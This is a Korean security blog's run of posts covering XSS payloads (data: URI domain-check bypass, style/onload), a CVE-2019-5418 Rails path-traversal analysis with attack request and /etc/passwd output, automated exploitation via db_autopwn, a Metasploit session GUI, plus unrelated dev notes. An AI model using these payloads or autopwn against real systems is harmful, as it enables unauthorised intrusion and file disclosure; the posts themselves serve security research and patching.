3/28/2019

Metasploit-framework install & Setting on MacOS

macos에서 Metasploit-framework 설치하는 방법에 대해 메모합니다.
음 솔직히 리눅스 버전이랑 거의 동일한 것 같은데, 최근 버전이라 그런가 path나 db 설정도 자동으로 해주네요..
(오.. 소스코드 받아서 하다가 패키지로 바꾸니깐 신세계)

Install metasploit-framework for macos

우선 macos 버전 metasploit은 osx.metasploit.com에서 별도로 배포하고 있습니다. (패키지)
다운받아 줍시다.

$wget http://osx.metasploit.com/metasploitframework-latest.pkg

or

http://osx.metasploit.com/metasploitframework-latest.pkg

git에서 소스코드 받아서 설치하는거랑 약간 다른점은, 패키지의 경우 디비, rpcd(환경)꺼자 저동으로 잡아준다는 점이에요.

만약 정말 라이트하게 쓰고 싶으시다면 git에서 별도로 코드받아서 설치하시는걸 추천드립니다.
아무튼 다운로드 받은 패키지를 더블클릭해서 실행해주시면..



와 같이 설치 과정을 진행하게됩니다.

Set alias path

우선 패키지로 msf를 설치하게 되면 /opt/metasploit-framework 경로에 설치가됩니다.

/opt/metasploit-framework/bin => 실행 바이너리(바이너리라 읽고 루비라고 씀...걍 스크립트)
/opt/metasploit-framework/embedded => 실제 소스코드 구간



기본적으론 /usr/bin 등으로 넣어주지 않기 떄문에 rc 파일들에 alias로 정의해놓으면 편합니다.

zshrc or basic
alias msf='/opt/metasploit-framework/bin/msfconsole'

하고 처음 실행하면 path 설정, db 설정등이 나오는데 취향에 따라 진행해주면 됩니다.
깔끔하게 완료(이전 환경이랑 거의 동일해지고 있네요)


Share: | Coffee Me:

3/27/2019

Bypass domain check protection with data: for XSS

\오늘은.. 버그바운티 하다가 이런 형태의 XSS 코드도 가능하길래 공유드려봅니다.

Bypass domain check protection with data: for XSS

<script src="data://www.trustdomain.hahwul.com, alert(45)"></script>



선행조건(Prerequisites)

선행 조건
  • 구문이 script src에 들어가는 경우(If the user input is in the script src)
  • 앞단 프로토컬 제어가 가능해야함(Must be able to control the src protocol)
  • Not CSP…

원리(How to?)

별다른건 아니고 script src의 데이터는 plain text의 javascript 코드가 들어가게 되는데, data 구문을 이용해서 코드를 넣어 실행할 수 있습니다.


여기서 요점은 ://domain 포맷의 검증 로직을 data://domain 형태로 넣어서 우회하고 ,(comma) 로 앞의 도메인 부분을 인코딩인 것 처럼 속인 후 ,(comma)뒤에 payload를 두어 실행됩니다.

그러나 아쉽게도 CSP 때문에 유효타는 안나온 상태네요.. 잠도 안오는데 다시 하러가야지 :)
Share: | Coffee Me:

3/26/2019

XSStrike geckodriver no such file error 해결하기(solution)

XSStrike를 맥에서 쓰려고 하니 이런 에러가 나타났었습니다.
(보통은 리눅스에서 작업을 많이 했어가지고.. )

Traceback (most recent call last):
  File "/usr/local/lib/python3.7/site-packages/selenium/webdriver/common/service.py", line 76, in start
    stdin=PIPE)
  File "/usr/local/Cellar/python/3.7.1/Frameworks/Python.framework/Versions/3.7/lib/python3.7/subprocess.py", line 769, in __init__
    restore_signals, start_new_session)
  File "/usr/local/Cellar/python/3.7.1/Frameworks/Python.framework/Versions/3.7/lib/python3.7/subprocess.py", line 1516, in _execute_child
    raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: 'geckodriver': 'geckodriver'


During handling of the above exception, another exception occurred:


Traceback (most recent call last):
  File "xsstrike.py", line 167, in <module>
    scan(target, paramData, encoding, headers, delay, timeout, skipDOM, find, skip)
  File "/Users/~~~/XSStrike/modes/scan.py", line 149, in scan
    success = browserEngine(response)
  File "/Users/~~~/XSStrike/core/browserEngine.py", line 13, in browserEngine
    browser = webdriver.Firefox(options=options)
  File "/usr/local/lib/python3.7/site-packages/selenium/webdriver/firefox/webdriver.py", line 164, in __init__
    self.service.start()
  File "/usr/local/lib/python3.7/site-packages/selenium/webdriver/common/service.py", line 83, in start
    os.path.basename(self.path), self.start_error_message)
selenium.common.exceptions.WebDriverException: Message: 'geckodriver' executable needs to be in PATH.

아무튼 내용을 요약해보면, geckodriver를 못찾아서 발생한 문제입니다. 초기엔 geckodriver의 path 문제인가 싶어서 별도 바이너리로 위치를 맞춰줬지만 실패하였습니다…

알고보니 별다른건 아닙니다. 맥의 경우 brew로 설치해주면 말끔히 해결됩니다. (저처럼 바이너리로 삽질하지 마시길..)

brew install geckodriver

이후 돌려보니 아주 잘 되네요 :)

Checking for DOM vulnerabilities
WAF Status: Offline
Testing parameter: q
Reflections found: 18
Analysing reflections
Generating payloads
Payloads generated: 50
Progress: 28/50
Share: | Coffee Me:

3/19/2019

SQL Query for All Delete(Drop) TABLE

wordpress 취약점 확인한다고 버전별로 설치/테스트/삭제 하다보니 DB 내 테이블 삭제가 매우 귀찮았습니다… 메모 차 작성해둡니다.

Db 내 모든 테이블 삭제 Query

우선 삭제할 테이블들이 속한 db명을 아래 WHERE 구절에 넣어줍시다.

[ all_delete_table.sql ]
SET @tables = NULL;
SELECT GROUP_CONCAT(table_schema, '.', table_name) INTO @tables
  FROM information_schema.tables
  WHERE table_schema = 'DB이름';


SET @tables = CONCAT('DROP TABLE ', @tables);
PREPARE stmt FROM @tables;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
[ command line ]
$ mysql db_name < all_delete_table.sql > output
Share: | Coffee Me:

3/18/2019

File content Disclosure & DOS Vulnerability in Action View of Ruby on Rails(CVE-2019-5418, CVE-2019-5419)

지난주에 github에서 보안 관련 노티를 받았었는데 영향도를 보고 조금 놀랬습니다..
(critical severity 라니…)

아무튼 둘 다 CVE 넘버링이 있는건이고, 5418의 경우 시스템 파일이 유출될 수도 있어 좀 중요해보이긴합니다.

요약하면 이렇습니다.

CVE-2019-5418 : File Content Disclosure in Action View
  • Vulnerable versions: >= 5.1.0, <= 5.1.6.1
  • Patched version: 5.1.6.2
  • All unpatched versions
CVE-2019-5419 : DOS
  • Vulnerable versions: >= 5.1.0, <= 5.1.6.1
  • Patched version: 5.1.6.2
  • All unpatched versions

인줄 알았으나 파악해보니 범위가 더 컸네요.. 두 취야점 모두 전 버전대에서 발생하는 취약점입니다.

Patch version
  • 6.0.0.0.beta3
  • 5.2.2.1
  • 5.1.6.2
  • 5.0.7.2
  • 4.2.11.1



What Vulnerabile?

5418, 5419 모두 Ruby on Rails의 Action View에서 발생한 취약점으로 Action View는 따로 설치해서 사용하는 라이브러리가 아니라 Rails 코어 라이브러리라 많은 어플리케이션이 영향받지 않을까 싶습니다.

우선 어떤 부분때문에 어떤 문제가 일어났는지 살펴보도록 하죠.

CVE-2019-5418 : File Content Disclosure in Action View

Action View는 웹 요청의 Content-Type 헤더, 파라미터 등을 통해 라우팅에 정의된 파일을 참고하여 사용자의 요청을 처리하는 기능을 가지고 있습니다.
일반적인 레일즈의 컨트롤러 코드입니다.

class UserController < ApplicationController 
  def index 
    render file: "#{Rails.root}/some/file" 
    # index page로 접근하면 /some/file을 파일 타입으로 렌더링 해줍니다.
  end 
end

여기에 매칭되는 ACtionView의 코드를 보면 이렇습니다.
option(위에선 file:)을 보고 처리로직이 분기되는데, file:의 경우 find_file fucntion을 호출합니다.
(/lib/action_view/renderer/template_renderer.rb)

module ActionView   
  class TemplateRenderer < AbstractRenderer #:nodoc:
      def determine_template(options)
        keys = options.has_key?(:locals) ? options[:locals].keys : []
        if options.key?(:body)
          ...
        elsif options.key?(:file)
          with_fallbacks { find_file(options[:file], nil, false, keys, @details) }
        ...
      end
end
def find_file(name, prefixes = [], partial = false, keys = [], options = {})
    @view_paths.find_file(*args_for_lookup(name, prefixes, partial, keys, options))
end

여기서 args_for_lookup의 결과로 인해 file: 값은 details[formats] 으로 저장됩니다. 이 값은 후에 렌더랭 해줄 template를 찾는 쿼리(파일 쿼리 같은..)의 값으로 사용되는는데, query 구문 자체에 path traversal 구문을 injection해서 로컬 파일을 대신 읽어올 수 있습니다.

문법 에러를 피하기 위해서 이 취약점을 공개한 친구는 뒤쪽에 정확하게 맞아떨어지는 구문을 붙여준거구요.

[ Attack code ]
../../../../../../etc/passwd{{


[ Raw query ]
프로젝트디렉토리/file{.{en},}{.{../../../../../../etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}

결구 실제 웹 요청을 보시면…
[ Request ]
GET /test HTTP/1.1
Host: 127.0.0.1:3000
Accept: ../../../../../../etc/passwd{{
... 생략 ...


[ Response ]
HTTP/1.1 200 OK
...생략

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
이렇게 시스템 파일이 읽힙니다.

CVE-2019-5419 : DOS

흥미있는건 5418이지만, 실제로 Critical을 만든 장본인은 DOS 취약점입니다. 위에랑 동일한 내용인데, Accept 헤더에 Looping 돌 수 있는 코드를 넣어줘서 CPU 점유를 가져가는 형태의 취약점이고, 페이로드 자체는 아예 공개를 안한듯 합니다.

How to Protect?

ActionView가 Rails 코어 라이브러리라 Rails 버전업이 필요합니다.

Patch version
  • 6.0.0.0.beta3
  • 5.2.2.1
  • 5.1.6.2
  • 5.0.7.2
  • 4.2.11.1
인증 없어도 가능한 취약점이니... 되도록이면 패치하시는게 좋을 것 같네요
(저도 언능 해야겠어요...)

혹시라도 버전업이 어려운 경우엔 render 포맷 지정으로 임시 대응이 가능합니다.

render file: "#{Rails.root}/file", formats: [:html]

Reference

https://chybeta.github.io/2019/03/16/Analysis-for【CVE-2019-5418】File-Content-Disclosure-on-Rails/
Share: | Coffee Me:

Seagate Personal Cloud에서 ssh 접속하기(Connect SSH on Seagate Personal Cloud)

라즈베리파이로 파일서버를 쓰다가 최근에 NAS하나를 구입했습니다. 뒤적뒤적 보다가 ssh 오픈할 수 있는 케이스를 찾았는데 이미 관련 글도 있더군요…
(구글링 해볼껄..)

별건 아니지만 글로 작성해봅니다.


How to find?

앞서 이야기드리면 이건 취약점은 아닙니다. 해당 NAS에서 스펙으로 포함된 기능인데, 일반 사용자에게는 해가될 부분이 더 커서 가려놓은 것 같습니다.
NAS SDK 관련 문서에는 이런 내용이 있습니다.

Managing Apps from the Command Line
...

Warning

On some devices, the SSH service isn’t available by default and won’t appear in the service list. In order to enable the SSH service on those devices, you will need to add the appdev=1 parameter to the NAS URL in your browser. For example, if your NAS IP is 192.168.0.10, you should enter the URL http://192.168.0.10/?appdev=1
https://www.seagate.com/nasos/SDK/0.7/debug/index.html )

첨엔 개발자모드 정도로만 생각해서 대충보고 ssh 확인했었는데, 아래 내용 더 보다보니 공식 가이드에도 ssh 접근 방법이 명시되어 있긴하네요..

Eanble SSH Service

별다른거 없습니다. 웹 페이지 진입 시 appdev 파라미터에 1 값을 넣어주면 개발자모드(?)가 활성화되고 ssh 사용이 가능해집니다.

https://192.168.0.880.88/?appdev=1


일반 사용자 모드

개발자모드(?)


Connect SSH

NAS에서 사용자 계정을 만들면, 디바이스 내 리눅스 계정으로 생성됩니다. 그래서 초기 구성에서 지정한 관리자 계정이나 따로 추가한 계정으로 접근해보시면 정상적으로 쉘이 내려오는걸 확인하실 수 있습니다.
$ ssh youraccounts@192.168.0.88
youraccounts@192.168.0.88's password: 
[youraccounts@PersonalCloud ~]$ 
[youraccounts@PersonalCloud ~]$ 
[youraccounts@PersonalCloud ~]$ 
[youraccounts@PersonalCloud ~]$ uname -a
Linux PersonalCloud 3.10.72-svn18863 #1 Tue May 9 20:05:23 UTC 2017 armv7l GNU/Linux

Permission?

일부 명령, 기능들은 root 권한이 없으면 사용할 수 없습니다.

$ sudo ping google.com
You are about to enter the root level of your Seagate NAS.
Within root, you can make revisions to the NAS settings and
data via the command line. Due to its open access to all
settings and data within the NAS, Seagate recommends that
only administrators with advanced knowledge of the proper
command lines enter and use root.

SEAGATE IS NOT RESPONSIBLE FOR ANY LOSS OF DATA, CONFIGURATION,
SETTINGS,OR INFORMATION OF ANY TYPE DUE TO ENTERING OR USING ROOT.

어느정도선까지 NAS 내부에서 구현해서 사용할 수 있을런지는 모르겠지만, 일단 가능한 항목들이나 좀 찾아봐야겠네요.

아무튼 현재 기준으로 root를 사용하려면 취약점 찾아서 exploit이 필요할 것 같네요.
(여기부턴 하게되면 법의 보호를 잘 받지 못…)

그리고 … 문서 보다보니깐 rainbow라는 별도의 패키지를 도구를 사용해서 앱들을 관리하는 것 같습니다. 잘 이용하면 다른 앱을 설치할 수 있는 좋은 포인트가 될수도 있겠네요.
Share: | Coffee Me:

3/16/2019

Kage(GUI Base Metasploit Session Handler) Review

이번주중이였나요, kitploit에 눈길이 가는 툴 하나가 올라왔습니다.
바로 Metasploit의 shell sessions을 관리하는 웹 도구인 Kage 입니다.

테스트 좀 해보고 약간 아쉬운 부분도 좀 있지만 그래도 이런 계열의 툴이 많지는 않기에 글로 정리해봅니다.

왜인지는 모르겠으나 툴 보자마자 솜브라가 생각남...

What is kage?

msfrpc <=> kage(web) 구조로 Metasploit의 session 즉, 탈취된 대상들을 관리하고 편하게 볼 수 있는 그런 도구입니다. 번외로 Payload가 담긴 실행파일을 만드는 기능(msfvenom, msfpayload)도 추가되어 있어 직접 타이핑하기 귀찮은 분들에겐 좋은 도구로 보이네요.
(심지어 suggestion 까지 다 구현되었음)
보아하니 session 관련 로직은 msfrpcd로 부터 데이터 받아서 처리하고 Payload 관련 부분은 msfvenom으로 단순하게 명령 내리는식으로 동작하는 것 같습니다.

Install?

우선 소스코드를 클론해줍시다
$ git clone https://github.com/WayzDev/Kage.git 
$ cd Kage
yarn을 통해서 디펜던시 잡아주고, 실행하면 바로 웹 서버가 동작하게 됩니다. 기본 포트는 8080입니다
$ yarn
$ yarn run dev

접속정보는 아래에서 지정한 계정

Run MSF RPC

자 kage 실행해서 웹 보시면 아시겠지만 msfrpc의 정보를 요구합니다. msfrpcd 실행합시다.
(예전엔 데이터 공유? 관리? 차 rpcd로 해봤었는데, 확실히 약간 느리긴합니다..)

$ msfrpcd -U hwul -P test
[*] MSGRPC starting on 0.0.0.0:55553 (SSL):Msg...
[*] MSGRPC backgrounding at 2019-03-15 08:05:16 +0000...
[*] MSGRPC background PID 11771

-U, -P 옵션으로 로그인 정보 지정해줍시다.

기능.. 그리고 테스트

우선 기본적으로 제공되는 기능은 아래와 같습니다. (그냥 눈으로 보면서 적은거라 더 있을수도 있어요. 제가 못봤을지도..)
  • 시스템 정보
  • 스크립샷
  • 시스템 커맨드
  • 파일 시스템 구조 밑 탐색
  • 네트워크 명령어
  • 웹캠
  • 마이크

처음 접속하면 이런 화면을 만나게됩니다. 우선 Jobs는 metasploit에서 각 모듈을 실행 시 job으로 밀어넣어 처리하는것과 동일하며, payload 및 관련 정보 세팅해서 msfrpcd 서버에서 구동시켜줄 수 있습니다. 


동작 과정중에 shell sessions이 연결되면 sessions 리스트에서도 보이게됩니다. 간략한 정보랑 상세보기/연결종료 정도가 있네요.



위에 이야기드린 부분들이긴한데, 그냥 시스템 정보 볼 수 있고.



파일리스트도 한번 봐주고...


네트워크 정보도 볼 수 있습니다.


UI도 깔끔하고 접근성도 좋긴하지만, 하나 큰 단점이 있는게 미리 지정된 명령셋만 사용이 가능하다는 점입니다. 결국은 웹에서 모든걸 처리할 수 있지않은, 즉 현재로썬 메인 도구가 아닌 훌륭한 보조수단 정도로써 사용될 수 있을 것 같네요. 

물론 점차 기능이 생기고 나아지만 다른 이야기겠지만요 :)

Reference

https://www.kitploit.com/2019/03/kage-graphical-user-interface-for.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+PentestTools+%28PenTest+Tools%29
Share: | Coffee Me:

3/14/2019

Swift code's Access Control(스위프트의 접근제어)

iOS 개발하다가 자꾸 까먹어서 검색하길래 메모해둡니다.
Swift에선 코드에 대한 접근 제어를 open, public, internal, file-private, private로 지정하고 있습니다. 다른 언어들에서 사용하는 것과 거의 유사하지만, 몇개 다른 부분들이 있기도 합니다.

public

많은 언어에서 사용된 것과 동일하게 외부에서 접근이 가능한 레벨입니다. public으로 선언된 부분들은 클래스나 프레임워크 이외에서도 동일하게 호출할 수 있기 때문에 메소드로 빼주는 부분들은 대다수가 public으로 선언됩니다.

public class hackers{
    init(){
        print("hello-world")
    }
}
Other code..
var hacker : hackers = hackers()

open

open은 클래스 외부에서 접근이 가능한 레벨입니다. 클래스나 프레임워크 이외에서도 접근해서 쓸 수 있기 때문에 같이 사용해야하는 공용 인터페이스 등에서 많이 사용됩니다.

public과 거의 비슷하지만, 상속이 가능하고 오버라이딩 또한 가능한다는 점이 있습니다.
재사용이 필요한 부분에선 public이 아닌 open 사용이 필요합니다.
(물론 보안적인 관점에선 꼭 필요한 부분, 중요한 부분이 아닐 때 사용해야할 것 같네요)

open class hackers{
    init(){
        print("hello-world")
    }
}
Other code..
public class dotori: hahwul{
    hi(){
        print("Hi")
    }
}

var dd = dotori()
dotori.hi()

internal

내부 코드에서만 사용할 수 있는 레벨입니다. 여기서 내부 코드는 클래스 내부를 의미하는게 아니라 동일 프로젝트상의 코드를 의미합니다.

예를들어서.. A라는 어플리케이션에 B 프레임워크가 들어가있는데, B에 internal로 정의된 함수들은 B 안에서는 어디서든지 사용할 수 있지만, A에선 불러올수가 없습니다.

internal class hackers{
    init(){
        print("hello-world")
    }
}

file-private

솔직히 저는 swift 하면서 처음 본 내용입니다… (보통 public, private, protect.. 너무 구시대같구나..)
찾아본봐로는 file-private을 사용했을 떄 해당 소스코드 파일에서만 사용할 수 있다는 것 같네요.

private

이름 그대로 프라이빗한 접근 레벨입니다. 동일 클래스 등 정의된 구간에서만 사용할 수 있고 그렇기 떄문에 중요한 값이나 코드를 숨기는데 있어서 많이 사용됩니다.

public class hackers{
    init(){
        print("hello-world")
    }
    private secret(){
        print("this is secret")
    }
}
Share: | Coffee Me:

3/11/2019

iOS App에서 HTTP 통신 허용하기(+App Trasport Security란?)

iOS 앱 개발 시 테스트를 위해 http 서버와 통신하려고 하면 구동중에 이런 에러가 발생합니다.

App Transport Security has blocked a cleartext HTTP (http://) resource load since it is insecure. Temporary exceptions can be configured via your app's Info.plist file.

Solution

Apple 측에서 앱 자체의 보안성을 위해 ATS(App Trasport Secuirty)라는 정책을 통해 기본적으로 https 통신을 하도록 유도하고 있는겁니다.
(솔직히 좀 신박했음.. http 자체를 deny 하다니..)

아무튼 http 서버로 테스트하기 위해선 Info.plist에서 ATS 부분을 추가해주어야 합니다.
NSAppTransportSecurity의 NSAllowsArbitraryLoads 값을 true로 지정해줍니다.

<dict>
  <key>NSAppTransportSecurity</key>
  <dict>
    <key>NSAllowsArbitraryLoads</key>
    <true/>
  </dict>
</dict>

이후 앱을 빌드하면 문제없이 http 서버와 잘 통신됩니다. 실제 배포에선 http 사용이 없다면, 허용하지 않는게 맞을 것 같고.

보안적인 관점에서도 궁극적으로 저 옵션을 안키도록 https를 기본으로 가져가고 사용하는 구간이 발견되면 리포팅하는게 좋을듯 합니다.

What is ATS?

그럼 ATS에 대해 조금 더 알아나 봅시다.
iOS 9 버전 이후부터 적용된 개인정보보호 기능이고 Xcode7 버전 이상에서 앱 생성 시 기본값으로 가져가게 되는 보안 정책입니다.

위에서 예외를 위한 NSAllowsArbitraryLoads 이외에도 Media, Webcontent 관련한 key가 더 존재하는데요, 이미지 등 추가적인 데이터 로드 시 아래와 같이 다른 항목들도 예외 처리가 필요할 수 있습니다.

<key>NSAppTransportSecurity</key>
<dict>
    <key>NSAllowsArbitraryLoads</key>
    <true/>
    <key>NSAllowsArbitraryLoadsForMedia</key>
    <true/>
    <key>NSAllowsArbitraryLoadsInWebContent</key>
    <true/>
</dict>

ATS 관련 내용인데 찬찬히 잃어보시면 좋을 것 같습니다.

https://forums.developer.apple.com/message/15705#15705
https://forums.developer.apple.com/thread/48979
Share: | Coffee Me:

3/10/2019

Javascript Entity XSS에 대한 이야기(old…style…not working)

이런 형태의 xss 코드를 보신적이 있나요? 최근에 이 XSS 페이로드로 트윗에서 의견을 좀 나눴었는데, 그 내용 정리해서 포스팅해봅니다.

<br size="&{alert(45);}">
(아 물론 여러 페이로드 정리된 사이트에 존재하는 공격코드입니다.


working??

결론부터 이야기드리면, 실행되지 않는 페이로드입니다.

가장 애매했던게, 유효하단 사람들이 있는 상태에서 저만 이게 안되는건가 싶어 여러가지 환경에서 테스트해봤는데요, 구형 브라우저(Netscpe ≤4 , 여러가지 아주 구형 브라우저에서만 동작합니다.

물론 이 페이로드가 현재도 유효했다면, 어마어마하게 파생된 XSS 코드가 만들어졌을테고, 정말 총체적 난국이였을 것 같습니다. (비슷한 사례로 style 관련 페이로드들이 있죠)

Javascript Entity Syntax

동작하진 않지만, 원리가 무엇인지 알아보기나 합시다. 여기서 HTML 속성에 &{} 형태로 구문을 넣는것을 Javascript Entity라고 부릅니다.
(되게 범용적인 이름이네요…ㅋㅋ)

아무튼간에, 이를 이용해서 구형 브라우저에선 아래와 같이 어떤 속성이던 스크립트 구문을 넣을 수 있었습니다.

Regular HTML value:
<body background="image1.gif">

JavaScript entity value:
<body background="&{JavaScript-statements };">

물론 이 방식이 개발상 이점을 많이 가져왔을겁니다. 지금은 저런걸 처리하기 위해 해당 Object의 id, class 등을 찾아서 처리해줘야하기 떄문에 코드가 좀 늫어났겠죠. 다만 지금은 코드의 간결성이 중요한 시대는 아니기 때문에(옛날에는 적은수의 코드가 멋이였다면, 지금은 예쁘게 잘 짠 코드가 중요한 코드라고 보이네요) 뭐 크게 상관 없겠지만요.

JavaScript, the Definitive Guide에는 Javascript in Nonstandard Context 부분에 명시되어 있습니다.

12.2.5. JavaScript in Nonstandard Contexts
Both Netscape and Microsoft have implemented proprietary extensions in their browsers, and you may occasionally see JavaScript code in a context other than those described here. For example, Internet Explorer allows you to define event handlers in a <script> tag that uses special forand event attributes. Netscape 4 allows you to use JavaScript as an alternative syntax for defining CSS style sheets within a <style> tag. Netscape 4 also extends the HTML entity syntax and allows JavaScript to appear within entities (but only within the values of HTML attributes). This can result in HTML that looks like this:

<table border="&{getBorderWidth( )};">

Finally, Netscape 4 also supports a form of conditional comment based on this JavaScript entity syntax. Note that Netscape 6 and the Mozilla browser on which it is based no longer support these nonstandard uses of JavaScript.

어찌되었던 현재의 웹 환경에선 우회 기법으로 사용할 수 없는 XSS 코드입니다.

Conclusion

우선은 동작하지 않는 XSS 페이로드이기 떄문에 없다고 생각하시는게 좋을 것 같습니다만, 간혹 예외적인 케이스가 나타날수도 있습니다.

구형 브라우저의 엔진을 사용하는 잘 알려지지 않은 브라우저나 특정 환경에서 트리거될수도 있어서 알고는 있어야할 것 같습니다.

Reference

http://www.javascriptkit.com/javatutors/entity2.shtml
https://docstore.mik.ua/orelly/webprog/jscript/ch12_02.htm
Share: | Coffee Me:

우분투 18.04에서 OBS Studio 설치 및 스트리밍 환경 구성(+Android 화면 출력하기)

이전부터 영상 관련해서 연습삼아 쓰던 프로그램 중 OBS Studio라는 도구가 있습니다. 방송을 위한 프로그램이며, 개인적으로는 화면 녹화 떄문에 사용했었죠.

한참 잊고 살다가 최근에 다시 세팅할 일이 생겨서 하다보니, 글로 메모해두면 좋을 것 같아 작성해둡니다.

Install OBS Studio on Ubuntu 18.04

우분투에선 PPA 통해 패키지 추가가 가능합니다. (데비안쓰다가 다시 우분투 옸을때 제일 맘에 든게 PPA 였죠..)

OBS Studio, FFMpeg 의 PPA Repo를 추가해줍니다.

sudo add-apt-repository ppa:obsproject/obs-studio
sudo add-apt-repository ppa:kirillshkrogalev/ffmpeg-next

그 다음 패키지 리스트 업데이트 후 obs-studio를 설치해주시면 됩니다.

sudo apt-get update
sudo apt-get install obs-studio

Streaming Android screen on OBS Studio

OBS Studio에는 외부에서 송출되는 영상을 편집 프레임으로 불러올수가 있는데요, 이를 이용해서 안드로이드에서 영상 송출을 하고, OBS에서 불러와서 표현해주면 마치 안드로이드 화면이 OBS에서 나오도록 보이게 할 수 있습니다.

결과적으론 이런 느낌

우선 마켓에서 Screen Stream over HTTP 앱을 설치해줍니다. 이 앱은 http로 웹 방송 송출을 해주는 앱입니다.



실행하면 설정한(기본 8080) 포트로 송출 서비스를 바인딩합니다.


그다음 OBS Studio에서 브라우저 플러그인을 설치해줍시다.

https://obsproject.com/forum/resources/browser-plugin.115/

공식 링크의 내용을 보면 리눅스 버전은 지원을 안한다고 되어있네요. 단, bazukas가 만든 플러그인으로 동일하게 사용 가능하다고 합니디.

https://github.com/bazukas/obs-linuxbrowser
https://obsproject.com/forum/threads/browser-plugin.20358/page-2#post-133062

기존 url이 deprecated 된지 모르고 빌드하다가… 찾아보니 다른쪽에서 코드 관리한다고 하더군요.. 위에 주소는 관리되고 있는 주소이고, 릴리즈 제공하고 있어서 별도의 노가다는 필요 없을 것 같습니다.

https://github.com/bazukas/obs-linuxbrowser/releases

wget https://github.com/bazukas/obs-linuxbrowser/releases/download/0.6.0/linuxbrowser0.6.0-obs22.0.2-64bit.tgz

다운받았다면, obs-studio plugins 디렉토리를 만들어주고, 압출을 풀어줍니다.
($HOME으로 넣어줄꺼라 OBS Studio를 구동하는 계정에서 해주시면 좋을듯합니다. )

mkdir -p $HOME/.config/obs-studio/plugins
tar -zvxf linuxbrowser0.6.0-obs22.0.2-64bit.tgz -C $HOME/.config/obs-studio/plugins/

넣은 후 OBS에서 보시면 아래와 같이 소스추가에 나타납니다.
URL을 우리가 폰에서 생성한 송출 URL로 넣어주면, OBS에서 모바일 디바이스의 화면을 불러올 수 있습니다.

다만… 좀 느리긴하네여 =_=
(유선으로 처리하는 방법을 찾거나, 그냥 노트북 웹캠이 빠르겠네요)
Share: | Coffee Me:

3/03/2019

XSS with style tag and onload event handler

지지난주인가.. 트위터 보다가 눈에 들어온 XSS Payload가 있어 공유드립니다.
(포스팅해야히고 따로 써놓고, 이제야 글로 쓰네요..)

style onload XSS

별다른건 아니고, 기존에 svg/onload와 유사하게 style/onload도 가능하더라구요..

<style/onload=alert(45)>



style tag 기반의 XSS 페이로드들이 트리거 조건이 붙는지라 XSS 필터 규칙에서 style 태그 자체가 포함 안된 경우가 굉장히 많습니다.

물론 onload라는 이벤트 핸들러가 필터링 규칙 단골이기 때문에 마구잡이로 막 나올 것 같진 않지만, 그래도 svg 이외에도 사용해볼만한 좋은 포인트로 보이네요 :)

Reference

https://twitter.com/BufferBandit/status/1099023521429241857?s=19
Share: | Coffee Me:

Automation exploit with mad-metasploit(db_autopwn module)

My first english article on blog!
Please understand if I am wrong because English is not my native language.

This time is automation exploit with db_autopwn, mad-metasploit. Let’s start!


What is mad-metasploit, db_autopwn

mad-metasploit is my project related to metasploit framework
To sum up…

"Metasploit custom modules, plugins, resource script and.. awesome metasploit collection"

and db_autopwn is automation exploit plugin on metasploit-framework. but it is deprecated.. :(

I keeping db_autopwn source code on my github repo, and added to mad-metasploit project!
Now, let’s use Mad-Metasploit to launch an automated attack.

https://github.com/hahwul/mad-metasploit
https://github.com/hahwul/metasploit-autopwn

Install mad-metasploit

First, install(um.. clone github…) mad-metasploit project

clone repo and set config file.
$ git clone https://github.com/hahwul/mad-metasploit
$ cd mad-metasploit

vim config/config.rb
$metasploit_path = '/opt/metasploit-framework/embedded/framework/'
#                    /usr/share/metasploit-framework
#                   input your metasploit path

defined your msf path on config.rb


Second, patch mad-metasploit to metasploit-framekwork

The mad-metasploit supports two modes. Interactive Mode, Commandline Mode
But in fact, there is little difference between the two.(whether or not to set the pre-settings)

Interactive Mode
$ ./mad-metasploit

Commandline Mode(preset all)
$ ./mad-metasploit [-a/-y/--all/--yes]



At the end of this step, the module, plug-in of the mad-metasploit is installed in the metasploit-framework. If you need to delete it, you can remove it with the -r, --remove option.

Use db_autopwn on mad-metasploit

load db_autopwn.
Enter load mad-metasploit/db_autopwn command in msfconsole

HAHWUL > load mad-metasploit/db_autopwn
[*] Successfully loaded plugin: db_autopwn

completed!

db_autopwn is enabled in msfconsole.

Run db_autopwn for automation exploit

auto-exploit target. default command form is this
db_autopwn {target}

I added several options for a more meaningful test.
(db_autopwn options)
    -h          Display this help text
    -t          Show all matching exploit modules
    -x          Select modules based on vulnerability references
    -p          Select modules based on open ports
    -e          Launch exploits against all matched targets
    -r          Use a reverse connect shell
    -b          Use a bind shell on a random port (default)
    -q          Disable exploit module output
    -R  [rank]  Only run modules with a minimal rank
    -I  [range] Only exploit hosts inside this range
    -X  [range] Always exclude hosts inside this range
    -PI [range] Only exploit hosts with these ports open
    -PX [range] Always exclude hosts with these ports open
    -m  [regex] Only run modules whose name matches the regex
    -T  [secs]  Maximum runtime for any exploit in seconds

Enter command!

HAHWUL > db_autopwn -p -R great -e -q 192.168.56.101
[-] The db_autopwn command is DEPRECATED
[-] See http://r-7.co/xY65Zr instead
[*] (1/533 [0 sessions]): Launching exploit/freebsd/ftp/proftp_telnet_iac against 192.168.56.101:21...
[*] (2/533 [0 sessions]): Launching exploit/linux/ftp/proftp_sreplace against 192.168.56.101:21...
[*] (3/533 [0 sessions]): Launching exploit/linux/ftp/proftp_telnet_iac against 192.168.56.101:21...
[*] (4/533 [0 sessions]): Launching exploit/multi/ftp/wuftpd_site_exec_format against 192.168.56.101:21...
[*] (5/533 [0 sessions]): Launching exploit/unix/ftp/proftpd_133c_backdoor against 192.168.56.101:21...
[*] (6/533 [0 sessions]): Launching exploit/unix/ftp/vsftpd_234_backdoor against 192.168.56.101:21...
[*] (7/533 [0 sessions]): Launching exploit/windows/ftp/easyftp_cwd_fixret against 192.168.56.101:21...
[*] (8/533 [0 sessions]): Launching exploit/windows/ftp/easyftp_list_fixret against 192.168.56.101:21...
[*] (9/533 [0 sessions]): Launching exploit/windows/ftp/easyftp_mkd_fixret against 192.168.56.101:21...

....

[*]  >> autopwn module timeout from exploit/linux/http/pineapple_preconfig_cmdinject after 151.61710667610168 seconds
[*]  >> autopwn module timeout from exploit/linux/http/webcalendar_settings_exec after 150.63282704353333 seconds
